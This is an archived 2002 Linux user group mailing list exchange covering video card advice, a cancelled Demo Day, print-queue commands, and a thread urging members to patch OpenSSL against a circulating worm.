charset=ISO-8859-1 Content-Transfer-Encoding: 8bit User-Agent: Internet Messaging Program (IMP) 3.0 X-Originating-IP: 12.217.180.216 X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Mon, 16 Sep 2002 05:30:29 -0000 Quoting Dan : > I am researching video cards to put into my Linux box. I was considering > a GeForce 2 because I have one in my 2000 box. Then getting a better > card for my 2000 box. Any ideas what kind of card I should look into > that is really Linux compatible. How I understand it is that the Nvidia > chip sets are really well supported. Is that true? > > Also does it matter what the other kind of equipment I have already? > > Here whats in my Linux box: > > CPU 500 Mhz K6-2 > RAM 128 Mb > VIDEO STI 16mb TNT > > Any help would be great. > > Dan Dan, I wouldn't put anything more powerful than a Geforce 2 Ultra, or GF4 MX440 in that machine. Yes, NVidia cards are very well supported under most Linux Distros. You should download and install the detonator drivers from nvidia's site for best performance. -- "In an open world, who needs windows or gates" QliTech Linux Computers ray@qlilinux.com http://www.qlilinux.com 1-877-24-LINUX (Toll Free U.S.A and Canada) ------------------------------------------------- Vistit our website at http://www.qlilinux.com/ From cj7jed@hotmail.com Mon Sep 16 15:02:12 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 4990 invoked by uid 1051); 16 Sep 2002 15:02:12 -0000 Received: from unknown (HELO hotmail.com) (64.4.17.167) by 0 with SMTP; 16 Sep 2002 15:02:12 -0000 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Mon, 16 Sep 2002 08:01:06 -0700 Received: from 65.33.66.248 by lw11fd.law11.hotmail.msn.com with HTTP; Mon, 16 Sep 2002 15:01:05 GMT X-Originating-IP: [65.33.66.248] From: "Jedidiah Smith" To: qclug@qclug.org Bcc: Subject: Re: [QCLUG] Demoday Date: Mon, 16 Sep 2002 10:01:05 -0500 Mime-Version: 1.0 Content-Type: text/html Message-ID: X-OriginalArrivalTime: 16 Sep 2002 15:01:06.0006 (UTC) FILETIME=[E1D1CF60:01C25D91] X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Mon, 16 Sep 2002 15:02:12 -0000
If you just tell me a time, (assuming it's a Saturday), I can show with my box runnin Linux - maybe have people bring documents or something from MS Office, and show that we can edit them with Linux or something like that?  Or I could just have a few games?
 
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From stephen@revealed.net Mon Sep 16 17:40:23 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 5873 invoked by uid 1051); 16 Sep 2002 17:40:23 -0000 Received: from unknown (HELO edd.revealed.net) (205.243.76.9) by 0 with SMTP; 16 Sep 2002 17:40:23 -0000 Received: (qmail 25607 invoked by uid 1008); 16 Sep 2002 17:23:18 -0000 Received: from unknown (HELO vortex) (63.102.218.21) by 0 with SMTP; 16 Sep 2002 17:23:18 -0000 Content-Type: text/plain; charset="iso-8859-1" From: Roadkill the Avatar of Misfortune Organization: DethBird Computers To: qclug@qclug.org Date: Mon, 16 Sep 2002 12:39:07 -0500 X-Mailer: KMail [version 1.2] MIME-Version: 1.0 Message-Id: <02091612390701.03285@vortex> Content-Transfer-Encoding: 8bit Subject: [QCLUG] SSL Vuln in various distros X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Mon, 16 Sep 2002 17:40:23 -0000 update A new worm that attacks Linux Web servers has compromised more than 3,500 machines, creating a rogue peer-to-peer network that has been used to attack other computers with a flood of data, security experts said Saturday. http://news.com.com/2100-1001-957988.html http://securityresponse.symantec.com/avcenter/security/Content/2002.09.13.html http://online.securityfocus.com/bid/5363 This thing could be nasty... If you haven't gotten wind of this already, I highly suggest taking a look at the above links, and making sure your servers are not vulnerable to it. rk From vorlon@netexpress.net Mon Sep 16 18:21:43 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 6068 invoked by uid 1051); 16 Sep 2002 18:21:43 -0000 Received: from unknown (HELO tennyson.netexpress.net) (64.22.192.76) by 0 with SMTP; 16 Sep 2002 18:21:43 -0000 Received: from tennyson.netexpress.net (vorlon@localhost [127.0.0.1]) by tennyson.netexpress.net (8.12.5/8.12.5/Debian-1) with ESMTP id g8GILixM017639 for ; Mon, 16 Sep 2002 13:21:44 -0500 Received: (from vorlon@localhost) by tennyson.netexpress.net (8.12.5/8.12.5/Debian-1) id g8GILedj017637 for qclug@qclug.org; Mon, 16 Sep 2002 13:21:40 -0500 X-Authentication-Warning: tennyson.netexpress.net: vorlon set sender to vorlon@netexpress.net using -f Date: Mon, 16 Sep 2002 13:21:39 -0500 From: Steve Langasek To: qclug@qclug.org Subject: Re: [QCLUG] SSL Vuln in various distros Message-ID: <20020916182139.GK15842@netexpress.net> Mail-Followup-To: qclug@qclug.org References: <02091612390701.03285@vortex> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <02091612390701.03285@vortex> User-Agent: Mutt/1.4i X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Mon, 16 Sep 2002 18:21:44 -0000 On Mon, Sep 16, 2002 at 12:39:07PM -0500, Roadkill the Avatar of Misfortune wrote: > > update A new worm that attacks Linux Web servers has compromised more than > 3,500 machines, creating a rogue peer-to-peer network that has been used to > attack other computers with a flood of data, security experts said Saturday. > > http://news.com.com/2100-1001-957988.html > http://securityresponse.symantec.com/avcenter/security/Content/2002.09.13.html > http://online.securityfocus.com/bid/5363 > This thing could be nasty... If you haven't gotten wind of this already, I > highly suggest taking a look at the above links, and making sure your servers > are not vulnerable to it. If you run an SSL server for any reason, and you let three months go by after a security alert without patching your server, you're officially on my list of Human Beings That Suck. It is the height of buffoonery to be using technology called "Secure Sockets Layer" if you pay so little attention to security issues in general that you leave a well-publicized hole in your server sitting unaddressed long enough for a worm to appear in the wild. If you're still running a vulnerable server, update it now -- or I'll personally hunt you down and slap you with a trout. Steve Langasek postmodern programmer From stephen@revealed.net Mon Sep 16 21:08:16 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 6961 invoked by uid 1051); 16 Sep 2002 21:08:16 -0000 Received: from unknown (HELO edd.revealed.net) (205.243.76.9) by 0 with SMTP; 16 Sep 2002 21:08:16 -0000 Received: (qmail 26749 invoked by uid 1008); 16 Sep 2002 20:51:10 -0000 Received: from unknown (HELO vortex) (63.102.218.21) by 0 with SMTP; 16 Sep 2002 20:51:10 -0000 Content-Type: text/plain; charset="iso-8859-1" From: Roadkill the Avatar of Misfortune Organization: DethBird Computers To: qclug@qclug.org Subject: Re: [QCLUG] SSL Vuln in various distros Date: Mon, 16 Sep 2002 16:06:58 -0500 X-Mailer: KMail [version 1.2] References: <02091612390701.03285@vortex> <20020916182139.GK15842@netexpress.net> In-Reply-To: <20020916182139.GK15842@netexpress.net> MIME-Version: 1.0 Message-Id: <02091616065802.03285@vortex> Content-Transfer-Encoding: 8bit X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Mon, 16 Sep 2002 21:08:16 -0000 Wow the vehemence! Good thing you've all got about a month and a half to fix your servers (openssl-0.9.6 hit the "shelves" 7/30), so that Steve doesn't come after you with that trout!!!! ;} Or maybe he'll still come after you with that trout at this point, but you've got another 90 or so days before you end up on his list...heh... ;} As and added note, even if you don't run any web based ssl ports, if you use ssh, scp, sftp you will really want to upgrade as well, as fairly soon here, I'm betting that there will be worms that target these services as well utilizing this bug.. rk On Monday 16 September 2002 13:21, you wrote: > On Mon, Sep 16, 2002 at 12:39:07PM -0500, Roadkill the Avatar of Misfortune wrote: > > > > update A new worm that attacks Linux Web servers has compromised more > > than 3,500 machines, creating a rogue peer-to-peer network that has been > > used to attack other computers with a flood of data, security experts > > said Saturday. > > > > http://news.com.com/2100-1001-957988.html > > > > http://securityresponse.symantec.com/avcenter/security/Content/2002.09.13 > >.html > > > > http://online.securityfocus.com/bid/5363 > > > > This thing could be nasty... If you haven't gotten wind of this already, > > I highly suggest taking a look at the above links, and making sure your > > servers are not vulnerable to it. > > If you run an SSL server for any reason, and you let three months go by > after a security alert without patching your server, you're officially on > my list of Human Beings That Suck. It is the height of buffoonery to be > using technology called "Secure Sockets Layer" if you pay so little > attention to security issues in general that you leave a well-publicized > hole in your server sitting unaddressed long enough for a worm to appear > in the wild. > > If you're still running a vulnerable server, update it now -- or I'll > personally hunt you down and slap you with a trout. > > Steve Langasek > postmodern programmer > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug From stephen@revealed.net Mon Sep 16 21:13:28 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 7073 invoked by uid 1051); 16 Sep 2002 21:13:28 -0000 Received: from unknown (HELO edd.revealed.net) (205.243.76.9) by 0 with SMTP; 16 Sep 2002 21:13:28 -0000 Received: (qmail 28871 invoked by uid 1008); 16 Sep 2002 20:56:22 -0000 Received: from unknown (HELO vortex) (63.102.218.21) by 0 with SMTP; 16 Sep 2002 20:56:22 -0000 Content-Type: text/plain; charset="iso-8859-1" From: Roadkill the Avatar of Misfortune Organization: DethBird Computers To: qclug@qclug.org Subject: Re: [QCLUG] SSL Vuln in various distros Date: Mon, 16 Sep 2002 16:12:10 -0500 X-Mailer: KMail [version 1.2] References: <02091612390701.03285@vortex> <20020916182139.GK15842@netexpress.net> <02091616065802.03285@vortex> In-Reply-To: <02091616065802.03285@vortex> MIME-Version: 1.0 Message-Id: <02091616121003.03285@vortex> Content-Transfer-Encoding: 8bit X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Mon, 16 Sep 2002 21:13:28 -0000 openssl-0.9.6e rather....hehe... rk From vorlon@netexpress.net Mon Sep 16 21:14:48 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 7129 invoked by uid 1051); 16 Sep 2002 21:14:48 -0000 Received: from unknown (HELO tennyson.netexpress.net) (64.22.192.76) by 0 with SMTP; 16 Sep 2002 21:14:48 -0000 Received: from tennyson.netexpress.net (vorlon@localhost [127.0.0.1]) by tennyson.netexpress.net (8.12.5/8.12.5/Debian-1) with ESMTP id g8GLEnxM019232 for ; Mon, 16 Sep 2002 16:14:49 -0500 Received: (from vorlon@localhost) by tennyson.netexpress.net (8.12.5/8.12.5/Debian-1) id g8GLEnvK019230 for qclug@qclug.org; Mon, 16 Sep 2002 16:14:49 -0500 X-Authentication-Warning: tennyson.netexpress.net: vorlon set sender to vorlon@netexpress.net using -f Date: Mon, 16 Sep 2002 16:14:49 -0500 From: Steve Langasek To: qclug@qclug.org Subject: Re: [QCLUG] SSL Vuln in various distros Message-ID: <20020916211449.GH18427@netexpress.net> Mail-Followup-To: qclug@qclug.org References: <02091612390701.03285@vortex> <20020916182139.GK15842@netexpress.net> <02091616065802.03285@vortex> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="Yylu36WmvOXNoKYn" Content-Disposition: inline In-Reply-To: <02091616065802.03285@vortex> User-Agent: Mutt/1.4i X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Mon, 16 Sep 2002 21:14:48 -0000 --Yylu36WmvOXNoKYn Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Sep 16, 2002 at 04:06:58PM -0500, Roadkill the Avatar of Misfortune= wrote: > Wow the vehemence! Good thing you've all got about a month and a half to= fix=20 > your servers (openssl-0.9.6 hit the "shelves" 7/30), so that Steve doesn'= t=20 > come after you with that trout!!!! ;} July-August-September. Three months. ;) > As and added note, even if you don't run any web based ssl ports, if you = use=20 > ssh, scp, sftp you will really want to upgrade as well, as fairly soon he= re,=20 > I'm betting that there will be worms that target these services as well= =20 > utilizing this bug.. Yep. Though ssh is a bit more ubiquitous than https, and you don't immediately make my list just by running an unpatched sshd: I have a much harder time keeping track of all the machines I run sshd on, than I do keeping track of all the machines I run mod_ssl on. In any case, if you're running the latest version of OpenSSH with Privilege Separation enabled, you're probably safe against the first wave of sshd worms, since it's rather difficult to get malicious data through to anywhere it can do damage. Steve Langasek postmodern programmer --Yylu36WmvOXNoKYn Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9hknJKN6ufymYLloRAlDjAKCDnBPmI2OWX+Iop1cRXbmMgR/HUACeK3L4 0A2Z++0ncxxxm9YzFvmaAMM= =CFob -----END PGP SIGNATURE----- --Yylu36WmvOXNoKYn-- From compgod@mchsi.com Mon Sep 16 22:09:48 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 7711 invoked by uid 1051); 16 Sep 2002 22:09:48 -0000 Received: from unknown (HELO sccmmhc01.mchsi.com) (204.127.203.183) by 0 with SMTP; 16 Sep 2002 22:09:48 -0000 Received: from sccqwbc02 ([204.127.203.162]) by sccmmhc01.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with SMTP id <20020916220935.MQP2075.sccmmhc01.mchsi.com@sccqwbc02>; Mon, 16 Sep 2002 22:09:35 +0000 Received: from [216.125.103.65] by sccqwbc02; Mon, 16 Sep 2002 22:09:35 +0000 From: compgod@mchsi.com To: qclug@qclug.org Subject: Re: [QCLUG] SSL Vuln in various distros Date: Mon, 16 Sep 2002 22:09:35 +0000 X-Mailer: AT&T Message Center Version 1 (Feb 11 2002) Message-Id: <20020916220935.MQP2075.sccmmhc01.mchsi.com@sccqwbc02> X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Mon, 16 Sep 2002 22:09:48 -0000 This is going to be a stupid question. If I have all of that kind of stuff disabled on my box does that mean I don't need to worry. Or should I still update as a just in case thing? Dan -- ------------------------------ "Ich bin ein Berliner" JFK > On Mon, Sep 16, 2002 at 04:06:58PM -0500, Roadkill the Avatar of Misfortune > wrote: > > Wow the vehemence! Good thing you've all got about a month and a half to fix > > your servers (openssl-0.9.6 hit the "shelves" 7/30), so that Steve doesn't > > come after you with that trout!!!! ;} > > July-August-September. Three months. ;) > > > As and added note, even if you don't run any web based ssl ports, if you use > > ssh, scp, sftp you will really want to upgrade as well, as fairly soon here, > > I'm betting that there will be worms that target these services as well > > utilizing this bug.. > > Yep. Though ssh is a bit more ubiquitous than https, and you don't > immediately make my list just by running an unpatched sshd: I have a much > harder time keeping track of all the machines I run sshd on, than I do > keeping track of all the machines I run mod_ssl on. > > In any case, if you're running the latest version of OpenSSH with > Privilege Separation enabled, you're probably safe against the first wave > of sshd worms, since it's rather difficult to get malicious data through > to anywhere it can do damage. > > Steve Langasek > postmodern programmer > From gentoo@mchsi.com Tue Sep 17 01:09:42 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 8178 invoked by uid 1051); 17 Sep 2002 01:09:41 -0000 Received: from unknown (HELO sccmmhc01.mchsi.com) (204.127.203.183) by 0 with SMTP; 17 Sep 2002 01:09:41 -0000 Received: from laptop ([12.217.84.119]) by sccmmhc01.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020917010943.CBRM2075.sccmmhc01.mchsi.com@laptop> for ; Tue, 17 Sep 2002 01:09:43 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Noah Justin Norris To: qclug@qclug.org Subject: Re: [QCLUG] Demoday Date: Mon, 16 Sep 2002 19:59:16 +0000 User-Agent: KMail/1.4.3 References: <3D8550AE.96E23C8A@revealed.net> In-Reply-To: <3D8550AE.96E23C8A@revealed.net> MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200209161959.16403.gentoo@mchsi.com> X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Tue, 17 Sep 2002 01:09:42 -0000 =09With all the talk about meetings in davenport , i didnt see the actual= =20 meeting till it was to late . i have no idea about demo day , i dont eve= n=20 know if its going on and if it is how many people would attend , I think= we=20 to do things to attract new members to the lug cause its alomost like its= =20 droped off the face of the earth. Maybe we should come up with some fres= h=20 new ideas . =09 On Monday 16 September 2002 03:31 am, Jim Hall wrote: > Are we actually going to have a demoday this weekend? I haven't seen > anything for at least a week. At the meeting (big turnout - 4 people) w= e > had nothing to discuss. Alex hasn't posted since shortly after our last > Saturday meeting. Shouldn't we cancel now and start work on the next > one? I really hate to be negative about this but it doesn't seem this i= s > going to happen, unless there's a lot going on out of sight of public > view (meaning the LUG in general). Does anyone have any concrete info > about people, equipment, anything? > > Jim > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug --=20 life is linux=20 linux is life=20 From vorlon@dodds.net Tue Sep 17 01:58:43 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 8443 invoked by uid 1051); 17 Sep 2002 01:58:43 -0000 Received: from unknown (HELO netexpress.net) (64.22.192.2) by 0 with SMTP; 17 Sep 2002 01:58:43 -0000 Received: from quetzlcoatl.dodds.net (quetzlcoatl.dodds.net [64.22.202.19]) by netexpress.net (8.11.3/8.11.3) with SMTP id g8H1wix15546 for ; Mon, 16 Sep 2002 20:58:44 -0500 X-Spam-Filter: check_local@netexpress.net by digitalanswers.org Received: by quetzlcoatl.dodds.net (sSMTP sendmail emulation); Mon, 16 Sep 2002 20:58:43 -0500 Date: Mon, 16 Sep 2002 20:58:43 -0500 From: Steve Langasek To: qclug@qclug.org Subject: Re: [QCLUG] SSL Vuln in various distros Message-ID: <20020917015843.GB18282@quetzlcoatl.dodds.net> Mail-Followup-To: qclug@qclug.org References: <20020916220935.MQP2075.sccmmhc01.mchsi.com@sccqwbc02> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="qlTNgmc+xy1dBmNv" Content-Disposition: inline In-Reply-To: <20020916220935.MQP2075.sccmmhc01.mchsi.com@sccqwbc02> User-Agent: Mutt/1.4i X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Tue, 17 Sep 2002 01:58:43 -0000 --qlTNgmc+xy1dBmNv Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Sep 16, 2002 at 10:09:35PM +0000, compgod@mchsi.com wrote: > This is going to be a stupid question. If I have all of=20 > that kind of stuff disabled on my box does that mean I=20 > don't need to worry. Or should I still update as a just=20 > in case thing? If you don't have any crypto-enabled services installed on your computer, you're in no immediate danger[1], but you should certainly be sure you've upgraded if you ever do install such a service. To a lesser extent, client software is also vulnerable to being compromised (in general, I don't know for sure with this exploit), so if you have libssl on your machine, you're probably better off getting the security update. Steve Langasek postmodern programmer [1] of trouting --qlTNgmc+xy1dBmNv Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9hoxTKN6ufymYLloRAklvAJ9d5jF4ERsmS8pQCR43p7Ag4khfaACfSGRi 3ISEyKo+u0YjiNQOrjTDUCU= =X2t6 -----END PGP SIGNATURE----- --qlTNgmc+xy1dBmNv-- From sb@helios.augustana.edu Tue Sep 17 02:13:47 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 8536 invoked by uid 1051); 17 Sep 2002 02:13:47 -0000 Received: from unknown (HELO helios.augustana.edu) (143.226.129.5) by 0 with SMTP; 17 Sep 2002 02:13:47 -0000 Date: Mon, 16 Sep 2002 21:06:00 -0500 (CDT) From: Shawn Beattie To: qclug@qclug.org Subject: Re: [QCLUG] Demoday In-Reply-To: <3D8550AE.96E23C8A@revealed.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Tue, 17 Sep 2002 02:13:47 -0000 As I promised...I have the location reserved and will provide a LCD projector and tables. Did we find the QCLUG banner? On Sun, 15 Sep 2002, Jim Hall wrote: > Are we actually going to have a demoday this weekend? I haven't seen > anything for at least a week. At the meeting (big turnout - 4 people) we > had nothing to discuss. Alex hasn't posted since shortly after our last > Saturday meeting. Shouldn't we cancel now and start work on the next > one? I really hate to be negative about this but it doesn't seem this is > going to happen, unless there's a lot going on out of sight of public > view (meaning the LUG in general). Does anyone have any concrete info > about people, equipment, anything? > > Jim > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug > From sb@helios.augustana.edu Fri Sep 20 03:25:00 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 6337 invoked by uid 1051); 20 Sep 2002 03:25:00 -0000 Received: from unknown (HELO helios.augustana.edu) (143.226.129.5) by 0 with SMTP; 20 Sep 2002 03:25:00 -0000 Date: Thu, 19 Sep 2002 22:16:58 -0500 (CDT) From: Shawn Beattie To: qclug@qclug.org Subject: Re: [QCLUG] Demoday In-Reply-To: <3D8550AE.96E23C8A@revealed.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Fri, 20 Sep 2002 03:25:00 -0000 Demo Day plans seem to have fallen through. Based on discussion between Jim Hall and myself it seems Demo Day is not happening as planned. Jim was not able to get a response from the TV & print media. Thanks for those who tried to pull it off... For some reason things fell apart in August and September, which was the cruicial time for Demo Day planning. Let's look forward to getting re-established and putting on a well-run DemoDay. On Sun, 15 Sep 2002, Jim Hall wrote: > Are we actually going to have a demoday this weekend? I haven't seen > anything for at least a week. At the meeting (big turnout - 4 people) we > had nothing to discuss. Alex hasn't posted since shortly after our last > Saturday meeting. Shouldn't we cancel now and start work on the next > one? I really hate to be negative about this but it doesn't seem this is > going to happen, unless there's a lot going on out of sight of public > view (meaning the LUG in general). Does anyone have any concrete info > about people, equipment, anything? > > Jim > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug > From volunteer@revealed.net Mon Sep 23 04:04:32 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 12813 invoked by uid 1051); 23 Sep 2002 04:04:31 -0000 Received: from unknown (HELO ns.revealed.net) (205.243.76.2) by 0 with SMTP; 23 Sep 2002 04:04:31 -0000 Received: from revealed.net ([65.114.247.63]) by ns.revealed.net (Post.Office MTA v3.5.3 release 223 ID# 0-58799U8000L800S0V35) with ESMTP id net for ; Sun, 22 Sep 2002 23:04:06 -0500 Sender: volunteer Message-ID: <3D8E933E.9B7C3C55@revealed.net> Date: Sun, 22 Sep 2002 23:06:22 -0500 From: Jim Hall X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.14-5.0 i586) X-Accept-Language: en MIME-Version: 1.0 To: qclug@qclug.org Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [QCLUG] Printer spool X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Mon, 23 Sep 2002 04:04:32 -0000 Red Hat 6.2: what do I need to read to find out how to delete a print job? I believe there must be a file or some kind of spooler I can clear, but so far, I haven't found it (or don't recognize it). Hints, anyone? Jim From stephen@revealed.net Mon Sep 23 14:20:14 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 13708 invoked by uid 1051); 23 Sep 2002 14:20:14 -0000 Received: from unknown (HELO edd.revealed.net) (205.243.76.9) by 0 with SMTP; 23 Sep 2002 14:20:14 -0000 Received: (qmail 24053 invoked by uid 1008); 23 Sep 2002 14:02:11 -0000 Received: from unknown (HELO vortex) (63.102.218.21) by 0 with SMTP; 23 Sep 2002 14:02:11 -0000 Content-Type: text/plain; charset="iso-8859-1" From: Roadkill the Avatar of Misfortune Organization: DethBird Computers To: qclug@qclug.org Subject: Re: [QCLUG] Printer spool Date: Mon, 23 Sep 2002 09:17:09 -0500 X-Mailer: KMail [version 1.2] References: <3D8E933E.9B7C3C55@revealed.net> In-Reply-To: <3D8E933E.9B7C3C55@revealed.net> MIME-Version: 1.0 Message-Id: <02092309170901.20027@vortex> Content-Transfer-Encoding: 8bit X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Mon, 23 Sep 2002 14:20:14 -0000 I'm not 100% sure about other print spoolers, but for the lpr printer you can use "lpc clean all" to remove all print jobs from all printers, or a combination of lpq (views print jobs in the queue) and lpc to clean out your wayward print jobs. Roadkill the Avatar of Misfortune On Sunday 22 September 2002 23:06, you wrote: > Red Hat 6.2: what do I need to read to find out how to delete a print > job? I believe there must be a file or some kind of spooler I can clear, > but so far, I haven't found it (or don't recognize it). Hints, anyone? > > Jim > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug From vorlon@netexpress.net Mon Sep 23 18:07:08 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 14808 invoked by uid 1051); 23 Sep 2002 18:07:08 -0000 Received: from unknown (HELO tennyson.netexpress.net) (64.22.192.76) by 0 with SMTP; 23 Sep 2002 18:07:08 -0000 Received: from tennyson.netexpress.net (vorlon@localhost [127.0.0.1]) by tennyson.netexpress.net (8.12.5/8.12.5/Debian-1) with ESMTP id g8NI79En013396 for ; Mon, 23 Sep 2002 13:07:09 -0500 Received: (from vorlon@localhost) by tennyson.netexpress.net (8.12.5/8.12.5/Debian-1) id g8NI6vX4013392 for qclug@qclug.org; Mon, 23 Sep 2002 13:06:57 -0500 X-Authentication-Warning: tennyson.netexpress.net: vorlon set sender to vorlon@netexpress.net using -f Date: Mon, 23 Sep 2002 13:06:57 -0500 From: Steve Langasek To: qclug@qclug.org Subject: Re: [QCLUG] Printer spool Message-ID: <20020923180657.GC13222@netexpress.net> Mail-Followup-To: qclug@qclug.org References: <3D8E933E.9B7C3C55@revealed.net> <02092309170901.20027@vortex> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="8X7/QrJGcKSMr1RN" Content-Disposition: inline In-Reply-To: <02092309170901.20027@vortex> User-Agent: Mutt/1.4i X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Mon, 23 Sep 2002 18:07:08 -0000 --8X7/QrJGcKSMr1RN Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Sep 23, 2002 at 09:17:09AM -0500, Roadkill the Avatar of Misfortune= wrote: > I'm not 100% sure about other print spoolers, but for the lpr printer you= can=20 > use "lpc clean all" to remove all print jobs from all printers, or a=20 > combination of lpq (views print jobs in the queue) and lpc to clean out y= our > wayward print jobs. There's also the 'lprm' command to remove individual jobs by their queue id. Steve Langasek postmodern programmer --8X7/QrJGcKSMr1RN Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9j1hAKN6ufymYLloRAtxpAKCOWLcTAa4P1EIuImBc/7yCFn+nFwCfbzHz 88LdJrZCipFq4JRw/Z0pRSY= =jQiZ -----END PGP SIGNATURE----- --8X7/QrJGcKSMr1RN-- From gray@cns.uni.edu Tue Sep 24 01:18:13 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 15968 invoked by uid 1051); 24 Sep 2002 01:18:12 -0000 Received: from unknown (HELO math-cs.cns.uni.edu) (134.161.241.98) by 0 with SMTP; 24 Sep 2002 01:18:12 -0000 Received: (qmail 11547 invoked from network); 24 Sep 2002 01:14:47 -0000 Received: from unknown (HELO math-cs.cns.uni.edu) (134.161.241.98) by math-cs.cns.uni.edu with SMTP; 24 Sep 2002 01:14:47 -0000 Date: Mon, 23 Sep 2002 20:14:47 -0500 (CDT) From: Paul Gray To: qclug@qclug.org Subject: Re: [QCLUG] Printer spool In-Reply-To: <20020923180657.GC13222@netexpress.net> Message-ID: X-message-flag: Send no MS Office files to this account! X-Accepted-File-Formats: ASCII .rtf .ps .pdf 